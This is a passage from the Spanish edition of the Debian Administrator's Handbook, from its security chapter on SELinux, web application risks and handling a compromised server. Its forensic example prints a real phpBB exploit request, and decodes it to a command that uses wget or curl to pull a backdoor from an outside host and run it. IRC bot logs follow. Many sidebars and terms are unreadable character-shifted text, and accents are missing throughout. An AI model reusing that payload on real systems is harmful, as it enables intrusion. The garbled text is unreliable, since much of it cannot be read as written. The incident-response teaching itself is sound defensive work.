&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

que representan los permisos ms tiles. El archivo /usr/share/selinux/default/


include/support/obj_perm_sets.spt los enumera.
La siguiente pgina web provee una lista relativamente exhaustiva de las clases de objetos
y los permisos que puede otorgar.
http://www.selinuxproject.org/page/ObjectClassesPerms
Ahora slo debe encontrar el conjunto mnimo de reglas necesario para asegurar que la
aplicacin o servicio objetivo funcione correctamente. Para lograrlo, debera tener buen
conocimiento de cmo funciona la aplicacin y qu tipo de datos genera o administra.
Sin embargo, es posible un enfoque emprico. Una vez que se etiquetaron correctamente los
objetos relevantes, puede utilizar la aplicacin en modo permisivo: las operaciones que hubiesen
estado bloqueadas son registradas pero ejecutarn correctamente. Si analiza los registros, ahora
puede identificar las operaciones a permitir. A continuacin encontrar un ejemplo de elemento
en dicho registro:
avc:

denied

{ read write } for

pid=1876 comm="syslogd" name="xconsole" dev=tmpfs

ino=5510 scontext=system_u:system_r:syslogd_t:s0 tcontext=system_u:object_r:


device_t:s0 tclass=fifo_file

Para entender mejor este mensaje, estudimoslo parte por parte.


Observando esta entrada de registro, es posible crear una regla que permitira esta operacin.
Por ejemplo: BMMPX TZTMPHE@U EFWJDF@UGJGP@GJMF \ SFBE XSJUF ^. Se puede automatizar este proceso, que es exactamente lo que ofrece el paquete audit2allow (del paquete policycoreutils. Este
enfoque slo es til si ya estn etiquetados correctamente los muchos objetos que deben ser
confinados. En cualquier caso, debe revisar cuidadosamente las reglas generadas y validarlas
segn su conocimiento de la aplicacin. En efecto, este enfoque tiende a otorgar ms permisos
de los que son realmente necesarios. La solucin apropiada generalmente es crear nuevos tipos
y otorgar los permisos slo sobre dichos tipos. Tambin puede suceder que denegar una operacin no es fatal para la aplicacin, en cuyo caso podra ser mejor simplemente agregar una
regla EPOUBVEJU para evitar que sea registrada a pesar de que sea denegada.
$0.1-&.&/504
'BMUB EF SPMFT FO MBT SFHMBT EF
MB QPMUJDB

1VFEF QBSFDFSMF FYUSBP RVF OP TF NFODJPOFO SPMFT DVBOEP TF DSFBO OVFWBT


SFHMBT 4&-JOVY TMP VUJMJ[B MPT EPNJOJPT QBSB TBCFS RV PQFSBDJPOFT FTUO QFS
NJUJEBT &M SPM TMP JOUFSWJFOF JOEJSFDUBNFOUF QFSNJUJOEPMF BM VTVBSJP DBN
CJBS B PUSP EPNJOJP 4&-JOVY FTU CBTBEP FO VOB UFPSB DPOPDJEB DPNP GPS[BEP
EF UJQPT k5ZQF &OGPSDFNFOU{
Z FM UJQP FT FM OJDP FMFNFOUP RVF JNQPSUB BM
PUPSHBS QFSNJTPT

$PNQJMBDJO EF MPT BSDIJWPT


Una vez que los 3 archivos (ejemplo.if, ejemplo.fc y ejemplo.te) est a la altura de sus expectativas de las nuevas reglas, simplemente ejecute make para generar un mdulo en el archivo
ejemplo.pp (puede cargarlo inmediatamente con semodule -i ejemplo.pp). Si define varios
mdulos, make crear todos los archivos .pp correspondientes.

$BQUVMP  4FHVSJEBE



Mensaje
avc:denied
{ read write }
pid=1876
comm="syslogd"
name="xconsole"

dev=tmpfs

ino=5510
scontext=system_u:system_r:
syslogd_t:s0
tcontext=system_u:object_r:
device_t:s0
tclass=fifo_file

Descripcin
Se deneg una operacin.
Esta operacin necesita los permisos SFBE
y XSJUF.
El proceso con PID 1876 ejecut la
operacin (o intent hacerlo).
Este proceso era una instancia del
programa TZTMPHE.
El nombre del objeto destino era YDPOTPMF.
El dispositivo que alberga el objeto destino
es un UNQGT (sistema de archivos en
memoria). Para un disco real, podra ver la
particin que alberga el objeto (por
ejemplo: hda3).
El objeto est identificado por el nmero
de inodo 5510.
Este es el contexto de seguridad del
proceso que ejecut la operacin.
Este es el contexto de seguridad del objeto
destino.
El objeto destino es un archivo FIFO.

$VBESP  "OMJTJT EF VOB USB[B 4&-JOVY



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

 0USBT DPOTJEFSBDJPOFT SFMBDJPOBEBT DPO MB TFHVSJEBE


La seguridad no es slo un problema tcnico: ms que nada, es sobre buenas prcticas y permitir
los riesgos. Esta seccin revisa algunos de los riesgos ms comunes, as como tambin unas pocas
prcticas recomendadas que deberan, dependiendo del caso, aumentar la seguridad o reducir
el impacto de un ataque exitoso.

 3JFTHPT JOIFSFOUFT EF MBT BQMJDBDJPOFT XFC


El carcter universal de las aplicaciones web llevaron a su proliferacin. Usualmente se ejecutan varias en paralelo: correo web, wiki, sistema de gestin, foros, galera de fotos, blog, etc.
La mayora de estas aplicaciones estn basadas en la pila LAMP (Linux, Apache, MySQL, PHP).
Desafortunadamente, muchas de estas aplicaciones tambin fueron escritas sin considerar los
problemas de seguridad. Los datos que provienen del exterior, demasiado seguido, son utilizados
luego de escasa o nula validacin. Se pueden proveer valores creados especiales para generar
que una llamada a un programa ejecute otro en cambio. Con el paso del tiempo se corrigieron
muchos de los problemas ms obvios, pero aparecen nuevos problemas regularmente.
70$"#6-"3*0
*OZFDDJO 42-

$VBOEP VO QSPHSBNB BHSFHB EBUPT B VOB DPOTVMUB 42- EF GPSNB JOTFHVSB FT


WVMOFSBCMF B JOZFDDJPOFT 42- FTUF OPNCSF IBDF SFGFSFODJB BM BDUP EF DBNCJBS
VO QBSNFUSP EF GPSNB RVF MB DPOTVMUB FKFDVUBEB QPS FM QSPHSBNB SFTVMUBS
EJGFSFOUF B MB FTQFSBEB CJFO QBSB EBBS MB CBTF EF EBUPT P QBSB BDDFEFS B EBUPT
B MPT RVF OPSNBMNFOUF OP UFOESB BDDFTP
http://es.wikipedia.org/wiki/Inyecci%C3%B3n_SQL

Por lo tanto, es obligatorio actualizar las aplicaciones web regularmente, para que un cracker
(sea un atacante profesional o un script kiddy) no pueda aprovecharse de una vulnerabilidad
conocida. El riesgo real depende de cada caso, vara entre la destruccin de datos a la ejecucin
de cdigo arbitrario, incluyendo la desfiguracin del sitio web.

 4BCFS RV FTQFSBS


Generalmente se utiliza una vulnerabilidad en una aplicacin web como punto de partida para
intentos de cracking. Lo que sigue es una breve revisin de las consecuencias posibles.
7*45" 31*%"
'JMUSBEP EF DPOTVMUBT )551

"QBDIF  JODMVZF NEVMPT RVF QFSNJUFO GJMUSBS DPOTVMUBT )551 FOUSBOUFT &TUP
QFSNJUF CMPRVFBS BMHVOPT WFDUPSFT EF BUBRVF 1PS FKFNQMP MJNJUBS MB MPOHJUVE
EF MPT QBSNFUSPT QVFEF QSFWFOJS VO EFTCPSEBNJFOUP EF CGFS %F GPSNB NT
HFOFSBM QVFEF WBMJEBS MPT QBSNFUSPT JODMVTJWF BOUFT EF RVF TFBO QBTBEPT B MB
BQMJDBDJO XFC Z QVFEF SFTUSJOHJS FM BDDFTP TFHO NVDIPT DSJUFSJPT *ODMVTJWF
QVFEF DPNCJOBSMP DPO BDUVBMJ[BDJPOFT EJONJDBT EFM GJSFXBMM QBSB QSPIJCJSMF
UFNQPSBMNFOUF FM BDDFTP BM TFSWJEPS XFC B VO DMJFOUF RVF JOGSJOKB BMHVOB EF
MBT SFHMBT

$BQUVMP  4FHVSJEBE



$POGJHVSBS FTUBT WFSJGJDBDJPOFT QVFEF TFS VOB UBSFB MBSHB Z UFEJPTB QFSP WBMES
MB QFOB DVBOEP MB BQMJDBDJO XFC RVF EFCB EFTQMFHBS UFOHB VO IJTUPSJBM EF
TFHVSJEBE EVEPTP
NPETFDVSJUZ FO FM QBRVFUF MJCBQBDIFNPETFDVSJUZ
FT FM NEVMP QSJODJQBM EF
FTUF UJQP

Las consecuencias de una intrusin tendrn varios niveles de obviedad dependiendo de las motivaciones del atacante. Los script kiddies slo aplican recetas que encuentran en sitios web; generalmente desfiguran una pgina web o borran datos. En casos ms sutiles agregan contenido
invisible a las pginas web para mejorar las referencias a sus propios sitios en los motores de
bsqueda.
Un atacante ms avanzado ir ms all. Un escenario desastroso podra ser como sigue: el atacante obtiene la habilidad de ejecutar programas como el usuario XXXEBUB, pero ejecutar
una orden necesita demasiadas manipulaciones. Para hacer su tarea ms sencilla, instala otra
aplicacin web diseada especficamente para ejecutar remotamente muchas rdenes distntas,
como navegar el sistema de archivos, examinar permisos, subir o descargar archivos, ejecutar
programas o inclusive proveer una consola de red. Generalmente, la vulnerabilidad le permitir
ejecutar wget para descargar algn malware en /tmp/ y luego ejecutarlo. Usualmente se descarga dicho malware de un sitio web extranjero que fue comprometido con anterioridad y servir
para cubrir sus huellas y hacer ms difcil rastrear el origen real del ataque.
En este punto el atacante tiene suficiente libertad de movimiento y, generalmente, instalan un
bot IRC (un robot que se conecta a un servidor IRC por el que se lo puede controlar). Generalmente se lo utiliza para compartir archivos ilegales (copias no autorizadas de pelculas o
software, etc.). Un atacante tenaz inclusive podra desear ir ms all todava. La cuenta XXX
EBUB no provee acceso completo al equipo, el atacante intentar obtener permisos de administrador. Esto no debera ser posible, pero si la aplicacin web no estaba actualizada es posible
tambin que el ncleo y otros programas tampoco estn actualizados; esto a veces deriva de una
decisin del administrador que, a pesar de conocer la vulnerabilidad, descuid la actualizacin
del sistema ya que no existen usuarios locales. El atacante podr aprovechar una segunda vulnerabilidad para obtener permisos de root.
70$"#6-"3*0
&TDBMBEB EF QSJWJMFHJPT

&TUF USNJOP DVCSF DVBMRVJFS DPTB RVF QVFEB TFS VUJMJ[BEB QBSB PCUFOFS NT
QFSNJTPT EF MPT RVF OPSNBMNFOUF UFOESB VO VTVBSJP OPSNBM &M QSPHSBNB sudo FTU EJTFBEP FTQFDGJDBNFOUF QBSB QSPWFFS QFSNJTPT EF BENJOJTUSBDJO B
BMHVOPT VTVBSJPT 1FSP UBNCJO TF VUJMJ[B FM NJTNP USNJOP QBSB EFTDSJCJS FM
BDUP FO FM RVF VO BUBDBOUF BQSPWFDIB VOB WVMOFSBCJMJEBE QBSB PCUFOFS QFS
NJTPT JOEFCJEPT

Ahora el atacante es dueo de la mquina; usualmente intentarn mantener este acceso privilegiado tanto como les sea posible. Esto involucra instalar un rootkit, un programa que reemplazar algunos componentes del sistema para que el atacante pueda obtener privilegios de administrador ms adelante; el rootkit tambin intentar esconder su propia existencia as como
tambin cualquier rastro de la intrusin. Un programa ps comprometido omitir algunos procesos, netstat no mostrar algunas conexiones activas, etc. Utilizando los permisos de root, el



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

atacante pudo observar el sistema completo pero no encontr datos importantes; por lo que intentar acceder a otras mquinas en la red corporativa. Analizando la cuenta del administrador y
los archivos histricos, el atacante encuentra las mquinas a las que se accede frecuentemente.
Puede interceptar la contrasea de alguno de los administradores reemplazando sudo o ssh
con una versin comprometida, y luego utilizar esta informacin en los servidores detectados
y propagar la intrusin de all en ms.
Este es un escenario de pesadilla que se puede prevenir con varias medidas. Las siguientes secciones describirn algunas de estas medidas.

 4FMFDDJO QSVEFOUF EF TPXBSF


Una vez que se conocen los problemas de seguridad, debe tenerlos en cuenta en cada paso del
proceso de desplegado de un servicio, especialmente al elegir el software que instalar. Muchos
sitios web, como 4FDVSJUZ'PDVTDPN, mantienen una lista de vulnerabilidades descubiertas recientemente, lo cual le puede dar una idea del historial de seguridad de un software antes de desplegarlo. Por supuesto, debe balancear esta informacin con la popularidad de dicho software:
un programa ms utilizado es un objetivo ms tentador y, consecuentemente, ser investigado
ms en detalle. Por el otro lado, un programa de nicho podra estar lleno de huecos de seguridad
que nunca son publicados debido a la falta de inters en una auditora de seguridad.
70$"#6-"3*0
"VEJUPSB EF TFHVSJEBE

6OB BVEJUPSB EF TFHVSJEBE FT FM QSPDFTP EF MFFS Z BOBMJ[BS B GPOEP FM DEJHP


GVFOUF EF BMHO TPXBSF CVTDBOEP QPUFODJBMFT WVMOFSBCJMJEBEFT EF TFHVSJEBE
RVF QVFEB DPOUFOFS 6TVBMNFOUF EJDIBT BVEJUPSBT TPO QSPBDUJWBT Z TF MBT SF
BMJ[BO QBSB BTFHVSBS RVF VO QSPHSBNB DVNQMF DJFSUPT SFRVJTJUPT EF TFHVSJEBE

En el mundo del Software Libre, generalmente hay mucha variedad de opciones y elegir un software sobre otro debera ser una decisin basada en el criterio local. Ms funcionalidad implica
un aumento del riesgo de una vulnerabilidad escondida en el cdigo; elegir el programa ms
avanzado para una tarea podra ser contraproducente, usualmente elegir el programa ms simple que cumpla los requisitos es un mejor enfoque.
70$"#6-"3*0
7VMOFSBCJMJEBE EF EB DFSP
k[FSPEBZ FYQMPJU{

6O BUBRVF NFEJBOUF VOB WVMOFSBCJMJEBE EF EB DFSP FT EJGDJM EF QSFWFOJS FM


USNJOP BCBSDB VOB WVMOFSBCJMJEBE RVF UPEBWB OP FT DPOPDJEB QPS MPT BVUPSFT
EFM QSPHSBNB

 (FTUJO EF VOB NRVJOB DPNP VO UPEP


De forma predeterminada, la mayora de las distribuciones Linux instalan una cantidad de servicios Unix y muchas herramientas. En la mayora de los casos, no se necesitan estos servicios y
herramientas para lo que el administrador configur la mquina. Como gua general en materia
de seguridad, es mejor desinstalar software innecesario. En efecto, no tiene sentido asegurar un

$BQUVMP  4FHVSJEBE



servidor FTP si se puede utilizar una vulnerabilidad en otro servicio no utilizado para obtener
permisos de administrador en todo el equipo.
De la misma forma, generalmente se configurarn los firewalls slo para permitir acceder a los
servicios que deban estar accesibles pblicamente.
Los equipos actuales son suficientemente poderosos para poder albergar varios servicios en la
misma mquina fsica. Desde un punto de vista econmico, dicha posibilidad es interesante: un
slo equipo a administrar, menor consumo de energa, etc. Desde el punto de vista de seguridad,
sin embargo, esta eleccin puede ser un problema. Un servicio comprometido puede proveer
acceso a toda la mquina, que a su vez compromete los otros servicios en el mismo equipo. Se
puede mitigar este riesgo aislando los servicios. Puede lograrlo mediante virtualizacin (cada
servicio albergado en una mquina virtual dedicada) o bien con SELinux (que cada demonio de
servicio tenga un conjunto de permisos adecuado).

 -PT VTVBSJPT UBNCJO TPO QBSUF


Discutir sobre seguridad inmediatamente trae a la mente proteger en contra de ataques de
cracker annimos escondidos en la jungla de Internet; pero se suele olvidar que el riesgo
tambin proviene desde adentro: un empleado a punto de dejar la empresa podra descargar
archivos sensibles en un proyecto importante y venderlos a la competencia, un vendedor descuidado podra dejar su escritorio sin bloquear su sesin durante una reunin con un nuevo
prospecto, un usuario atolondrado podra borrar el directorio incorrecto por error, etc.
La respuesta a estos riesgos puede involucrar soluciones tcnicas: limitar los permisos otorgados
a los usuarios a aquellos estrictamente necesarios y tener respaldos son obligatorios. Pero en
muchos casos la proteccin adecuada involucrar entrenar a los usuarios a evitar los riesgos.
7*45" 31*%"
BVUPMPH

&M QBRVFUF BVUPMPH QSPWFF VO QSPHSBNB RVF BVUPNUJDBNFOUF EFTDPOFDUB


VTVBSJPT JOBDUJWPT MVFHP EF VO UJFNQP DPOGJHVSBCMF 5BNCJO QFSNJUF NBUBS
QSPDFTPT EF VTVBSJPT RVF QFSNBOFDFO EFTQVT RVF GJOBMJ[ TV TFTJO FWJUBOEP
BT RVF MPT VTVBSJPT FKFDVUFO EFNPOJPT

 4FHVSJEBE GTJDB


No tiene sentido asegurar redes y servicios si los equipos en s no estn protegidos. Los datos
importantes merecen estar almacenados en disco duros que puede cambiar en caliente en arrays
RAID, porque los discos duros eventualmente fallan y la disponibilidad de los datos es necesaria.
Pero si cualquier repartidor de pizza puede ingresar al edificio, ingresar a la sala de servidores
y huir con unos pocos discos duros especficos, no se cumple una parte de la seguridad. Quin
puede ingresar a la sala de servidores? Est monitorizado el acceso? Estas cuestiones merecen
ser consideradas (y respondidas) cuando se evala la seguridad fsica.



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

La seguridad fsica tambin incluye tener en cuenta los riesgos de accidentes, como incendios.
Este riesgo particular es lo que justifica medios de respaldo en edificios separados, o al menos
en una caja de seguridad a prueba de incendios.

 3FTQPOTBCJMJEBE MFHBM


De formas ms o menos implcita, un administrador recibe la confianza de sus usuarios as como
tambin la de los usuarios de la red en general. Por lo tanto, deberan evitar cualquier descuido
que pueda ser aprovechado por gente con malas intenciones.
Un atacante que tome control de su equipo y luego lo utilice como una base avanzada (conocido
como sistema de retransmisin) desde la que realizar otras actividades nefastas podra causarle problemas legales, debido a que aquellos atacados inicialmente veran que el ataque proviene
de su sistema y, por lo tanto, considerarlo como el atacante (o un cmplice). En muchos casos, el
atacante utilizar su servidor para enviar spam, lo que no debera tener demasiado impacto (excepto la posibilidad de registrarlo en listas negras que limitaran su capacidad de enviar correos
legtimos), pero no ser agradable. En otros casos, puede causar problemas ms importantes
desde su mquina, por ejemplo ataques de denegacin de servicio. Esto a veces generar prdida de ingresos ya que los servicios legtimos no estarn disponibles y podra destruir datos; a
veces esto tambin implicar costos reales, ya que la parte atacada puede iniciar procedimientos legales en su contra. Los titulares de los derechos pueden enjuiciarlo si se comparte desde su
servidor una copia no autorizada de una obra protegida por la legislacin de derechos de copia,
as como tambin otras empresas, obligadas por acuerdos de nivel de servicio, si deben pagar
penalidades por el ataque desde su mquina.
Cuando ocurren estas situaciones, usualmente no basta con alegar inocencia; cuando menos
necesitar evidencia convincente que muestre actividad sospechosa en su sistema que proviene
de una direccin IP dada. Esto no ser posible si descuida las recomendaciones de este captulo
y deja que el atacante obtenga acceso a una cuenta privilegiada (root en particular) y la utilice
para cubrir sus huellas.

 5SBUBNJFOUP EF VOB NRVJOB DPNQSPNFUJEB


A pesar de las mejores intenciones y sin importar cun cuidadosamente disee la poltica de
seguridad, un administrador eventualmente se enfrentar a un secuestro. Esta seccin provee
algunas directrices sobre cmo reaccionar frente a estas circunstancias desafortunadas.

 %FUFDDJO Z WJTVBMJ[BDJO EF MB JOUSVTJO


El primer paso de la reaccin frente a una intrusin es estar al tanto de la misma. Esto no es
siempre obvio, especialmente sin una infraestructura de monitorizacin adecuada.
A veces no se detectan los actos de intrusin hasta que tienen consecuencias directas en los servicios legtimos albergados en la mquina, como lentitud en las conexiones, algunos usuarios no

$BQUVMP  4FHVSJEBE



se pueden conectar o cualquier otro tipo de funcionamiento defectuoso. El administrador que


se enfrenta a estos problemas debe revisar cuidadosamente la mquina y escrutar en detalle
aquello que no funciona como corresponde. Generalmente este es el momento en el que descubren un proceso inusual, por ejemplo uno llamado BQBDIF en lugar del estndar VTSTCJO
BQBDIF. Si seguimos con dicho ejemplo, debemos anotar el identificador de proceso y revisar
/proc/pid/exe para ver qu programa est ejecutando dicho proceso:
# ls -al /proc/3719/exe
lrwxrwxrwx 1 www-data www-data 0 2007-04-20 16:19 /proc/3719/exe -> /var/tmp/.
bash_httpd/psybnc

Un programa instalado en /var/tmp/ que ejecuta como el servidor web? Sin duda la mquina
est comprometida.
Este slo es un ejemplo, pero muchas otras pistas pueden encender la lmpara del administrador:
una opcin a un programa que ya no funciona; la versin del software que el programa
dice ser no coincide con la versin que se supone est instalada segn dpkg;
un prompt de rdenes o mensaje de sesin que indica que la ltima conexin provino de
un servidor desconocido en otro continente;
errores causados porque la particin /tmp/ est llena, resultado de mltiples copias ilegales de pelculas;
etc.

 %FTDPOFYJO EFM TFSWJEPS


En prcticamente todos los casos, la intrusin proviene de la red y el atacante necesita una
red funcional para alcanzar sus objetivos (acceder a datos confidenciales, compartir archivos
ilegales, esconder su identidad utilizando la mquina como restransmisor, etc.). Desconectar el
equipo de la red evitar que el atacante logre estos objetivos si es que no los alcanz para ese
momento.
Esto podra ser posible slamente si puede acceder fsicamente al servidor. Cuando se alberga el
servidor en un centro de datos del otro lado del pas, o si no puede acceder al servidor de niguna
otra forma, usualmente es buena idea comenzar a obtener informacin importante (revisa las
secciones siguientes), luego aislar el servidor tanto como sea posible apagando tantos servicios
como pueda (generalmente, todo excepto sshd). Este caso sigue siendo incmodo ya que uno no
puede descartar la posibilidad que el atacante tenga acceso SSH al igual que el administrador;
esto dificulta limpiar las mquinas.

 1SFTFSWBDJO EF UPEP MP RVF QVFEB VUJMJ[BS DPNP FWJEFODJB


Entender el ataque y/o establecer una accin legal en contra del atacante requerir copias de
todos los elementos importantes; esto incluye el contenido de los discos, una lista de todos los



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

procesos en ejecucin y las conexiones establecidas. Incluso podra utilizar el contenido de la


RAM pero, rara vez se lo utiliza realmente.
En el pice de la accin, los administradores generalmente estn tentados de realizar muchas
verificaciones en la mquina comprometida; generalmente esto no es una buena idea. Potencialmente, todo programa est comprometido y puede borrar porciones de la evidencia. Debera
restringir las verificaciones a un conjunto mnimo (netstat -tupan para conexiones de red,
ps auxf para una lista de procesos, ls -alr /proc/[0-9]* para un poco ms de informacin
sobre los programas en ejecucin), y debe anotar cuidadosamente cada verificacin que realice.
13&$"6$*/
"OMJTJT FO DBMJFOUF

1VFEF QBSFDFS UFOUBOEPS BOBMJ[BS FM FRVJQP NJFOUSBT FKFDVUB FTQFDJBMNFOUF


DVBOEP OP QVFEF BDDFEFS GTJDBNFOUF BM TFSWJEPS EFCF FWJUBSMP TJNQMFNFOUF
OP QVFEF DPOGJBS FO MPT QSPHSBNBT JOTUBMBEPT BDUVBMNFOUF FO FM TJTUFNB DPN
QSPNFUJEP &T NVZ QSPCBCMF RVF VO QSPHSBNB ps DPNQSPNFUJEP FTDPOEB QSP
DFTP P RVF VO ls DPNQSPNFUJEP FTDPOEB BSDIJWPT a" WFDFT JODMVTP FM ODMFP
FTU DPNQSPNFUJEP
4J OFDFTJUB EJDIP BOMTJT FO DBMJFOUF EFCF UFOFS DVJEBEP EF TMP VUJMJ[BS QSP
HSBNBT FO MPT RVF TBCF RVF QVFEF DPOGJBS 6OB CVFOB GPSNB EF IBDFS FTUP
TFSB UFOFS VO $% EF SFTDBUF DPO QSPHSBNBT JNQPMVUPT P VO FTQBDJP EF SFE
DPNQBSUJEP FO NPEP EF TPMP MFDUVSB 4JO FNCBSHP BO FTUBT NFEJEBT QVFEFO
OP TFS TVGJDJFOUFT TJ FM ODMFP FO T GVF DPNQSPNFUJEP

Una vez que guard los elementos dinmicos, el siguiente paso es almacenar una imagen completa del disco duro. Realizar dicha imagen es imposible si el sistema de archivos contina evolucionando, razn por la que debe volver a montarlo en modo slo de lectura. La solucin ms simple generalmente es detener brutalmente el servidor (luego de ejecutar sync) y luego reiniciar
desde un CD de rescate. Debe copiar cada particin con una herramienta como dd; luego puede
enviar estas imgenes a otro servidor (posiblemente con la conveniente herramienta nc). Otra
posiblidad que puede ser an ms sencilla: simplemente quite el disco de la mquina y reemplcelo con otro al que pueda dar formato y reinstalar.

 3FJOTUBMBDJO
No debera volver a poner en lnea al servidor sin reinstalarlo completamente. Si el compromiso fue serio (obtuvieron permisos de administrador), prcticamente no existe otra forma de
estar seguro que se libr de todo lo que el atacante podra haber dejado (puertas traseras backdoors en particular). Por supuesto, tambin debe aplicar todas las ltimas actualizaciones de
seguridad para solucionar la vulnerabilidad que utiliz el atacante. Idealmente, el anlisis del
ataque debera indicarle dicho vector de ataque para que pueda estar seguro de solucionarlo; de
lo contrario, slo puede confiar que alguna de las actualizaciones corrigi la vulnerabilidad.
No siempre es sencillo reinstalar un servidor remoto; podra involucrar asistencia de la empresa
que alberga su equipo, ya que no siempre dichas compaas ofrecen servicios automatizados de
reinstalacin. Debe tener cuidado de no reinstalar la mquina desde respaldos realizados luego
del ataque. Idealmente, slo debera restaurar los datos, debera instalar el software en s desde
los medios de instalacin.

$BQUVMP  4FHVSJEBE



 "OMJTJT GPSFOTF


Ahora que restaur el servicio, es momento de revisar ms cuidadosamente las imgenes de
disco del sistema comprometido para poder entender el vector de ataque. Cuando monte estas
imgenes debe asegurarse de utilizar las opciones SP OPEFW OPFYFD OPBUJNF para evitar modificar sus contenidos (incluyendo las marcas temporales de acceso de los archivos) o ejecutar por
error los programas comprometidos.
Seguir las huellas de un escenario de ataque generalmente involucra buscar todo lo que se modific o ejecut:
usualmente es interesante leer los archivos .bash_history;
al igual que enumerar los archivos que fueron creados, modificados o accedidos recientemente;
el programa strings ayuda a identificar los programas instalados por el atacante, extrayendo las cadenas de texto de un binario;
los archivos de registro en /var/log/ usualmente permiten reconstruir una cronologa
de los eventos;
herramientas especficas tambin permiten restaurar el contenido de archivos potencialmente borrados, incluyendo los archivos de registro que generalmente borran los atacantes.
Software especializado puede facilitar algunas de estas operaciones. En particular, The Coroner
Toolkint (en el paquete tct) es una coleccin de este tipo de herramientas. Incluye varios programas, entre ellos: grave-robber puede recopilar datos de un sistema comprometido en ejecucin, lazarus extrae datos generalmente interesantes de regiones no reservadas del disco y
pcat puede copiar la memoria utilizada por un proceso; tambin incluye otras herramientas de
extraccin de datos.
El paquete sleuthkit provee otras pocas herramientas para analizar un sistema de archivos. Es
ms sencillo utilizarlo con la interfaz grfica Autopsy Forensic Browser (navegador forense de
autopsias, en el paquete autopsy).

 3FDPOTUSVDDJO EFM FTDFOBSJP EF BUBRVF


Todos los elementos recolectados durante el anlisis deberan encajar como piezas de un
rompecabezas; usualmente hay una correlacin entre la creacin de los primeros archivos
sospechosos con los registros que muestran la intrusin. Un ejemplo real debera ser ms explcito que largos desvaros tericos.
El siguiente registro es un extracto de un archivo access.log de Apache:
www.falcot.com 200.58.141.84 - - [27/Nov/2004:13:33:34 +0100] "GET /phpbb/viewtopic.
php?t=10&highlight= %2527 %252esystem(chr(99) %252echr(100) %252echr(32) %252echr
(47) %252echr(116) %252echr(109) %252echr(112) %252echr(59) %252echr(32) %252echr
(119) %252echr(103) %252echr(101) %252echr(116) %252echr(32) %252echr(103) %252echr



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

(97) %252echr(98) %252echr(114) %252echr(121) %252echr(107) %252echr(46) %252echr


(97) %252echr(108) %252echr(116) %252echr(101) %252echr(114) %252echr(118) %252echr
(105) %252echr(115) %252echr(116) %252echr(97) %252echr(46) %252echr(111) %252echr
(114) %252echr(103) %252echr(47) %252echr(98) %252echr(100) %252echr(32) %252echr
(124) %252echr(124) %252echr(32) %252echr(99) %252echr(117) %252echr(114) %252echr
(108) %252echr(32) %252echr(103) %252echr(97) %252echr(98) %252echr(114) %252echr
(121) %252echr(107) %252echr(46) %252echr(97) %252echr(108) %252echr(116) %252echr
(101) %252echr(114) %252echr(118) %252echr(105) %252echr(115) %252echr(116) %252echr
(97) %252echr(46) %252echr(111) %252echr(114) %252echr(103) %252echr(47) %252echr
(98) %252echr(100) %252echr(32) %252echr(45) %252echr(111) %252echr(32) %252echr(98)
%252echr(100) %252echr(59) %252echr(32) %252echr(99) %252echr(104) %252echr(109)
%252echr(111) %252echr(100) %252echr(32) %252echr(43) %252echr(120) %252echr(32)
%252echr(98) %252echr(100) %252echr(59) %252echr(32) %252echr(46) %252echr(47) %252
echr(98) %252echr(100) %252echr(32) %252echr(38)) %252e %2527 HTTP/1.1" 200 27969
"-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"

Este ejemplo coincide con el aprovechamiento de una antigua vulnerabilidad de phpBB.


http://secunia.com/advisories/13239/
http://www.phpbb.com/phpBB/viewtopic.php?t=240636
Decodificar esta URL lleva a entender que el atacante logr ejecutar un cdigo PHP, en particular:
system("cd /tmp;wget gabryk.altervista.org/bd || curl gabryk.altervista.org/bd
-o bd;chmod +x bd;./bd &"). En efecto, encontramos un archivo bd en /tmp/. La ejecucin
de strings /mnt/tmp/bd devuelve, entre otras cadenas, 1TZDIP1IPCJB #BDLEPPS JT TUBSUJOH

. Esto realmente parece una puerta trasera.


Un tiempo despus, se utiliz este acceso para descargar, instalar y ejecutar un bot IRC que se
conect a una red IRC clandestina. Luego se poda controlar el bot mediante este protocolo y
ordenarle descargar archivos para compartir. Este programa inclusive tiene su propio archivo
de registro:
** 2004-11-29-19:50:15: NOTICE: :GAB!sex@Rizon-2EDFBC28.pool8250.interbusiness.it
NOTICE ReV|DivXNeW|504 :DCC Chat (82.50.72.202)
** 2004-11-29-19:50:15: DCC CHAT attempt authorized from GAB!SEX@RIZON-2EDFBC28.
POOL8250.INTERBUSINESS.IT
** 2004-11-29-19:50:15: DCC CHAT received from GAB, attempting connection to
82.50.72.202:1024
** 2004-11-29-19:50:15: DCC CHAT connection suceeded, authenticating
** 2004-11-29-19:50:20: DCC CHAT Correct password
(...)
** 2004-11-29-19:50:49: DCC Send Accepted from ReV|DivXNeW|502: In.Ostaggio-iTa.Oper_
-DvdScr.avi (713034KB)
(...)
** 2004-11-29-20:10:11: DCC Send Accepted from GAB: La_tela_dell_assassino.avi
(666615KB)
(...)
** 2004-11-29-21:10:36: DCC Upload: Transfer Completed (666615 KB, 1 hr 24 sec, 183.9
KB/sec)
(...)

$BQUVMP  4FHVSJEBE



** 2004-11-29-22:18:57: DCC Upload: Transfer Completed (713034 KB, 2 hr 28 min 7 sec,


80.2 KB/sec)

Estas trazas muestran que se almacenaron dos archivos de video en el servidor desde la direccin
IP 82.50.72.202.
En paralelo, el atacante tambin descargo un par de archivos adicionales, /tmp/pt y /tmp/
loginx. Ejecutar strings en estos archivos nos provee cadenas como Shellcode placed at 0x %08lx
(cdigo de consola ubicado en 0x %08lx) y Now wait for suid shell... (esperando consola suid...).
Estos parecen programas que aprovechan vulnerabilidades locales para obtener privilegios de
administrador. Consiguieron su objetivo? En este caso, probablemente no, ya que no parecen
existir archivos modificados luego de la intrusin original.
En este ejemplo, se reconstruy la intrusin completa y podemos deducir que el atacante pudo
aprovechar el sistema comprometido por alrededor de tres das; pero el elemento ms importante del anlisis es que se identific la vulnerabilidad y el administrador puede asegurarse que
la nueva instalacin realmente soluciona la vulnerabilidad.



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

1BMBCSBT DMBWF
3FUSPBEBQUBDJO
3FDPNQJMBDJO
1BRVFUF GVFOUF
3FQPTJUPSJP
.FUBQBRVFUF
%FTBSSPMMBEPS %FCJBO
3FTQPOTBCMF

$BQUVMP

$SFBDJO EF VO
QBRVFUF %FCJBO


$POUFOJEPT

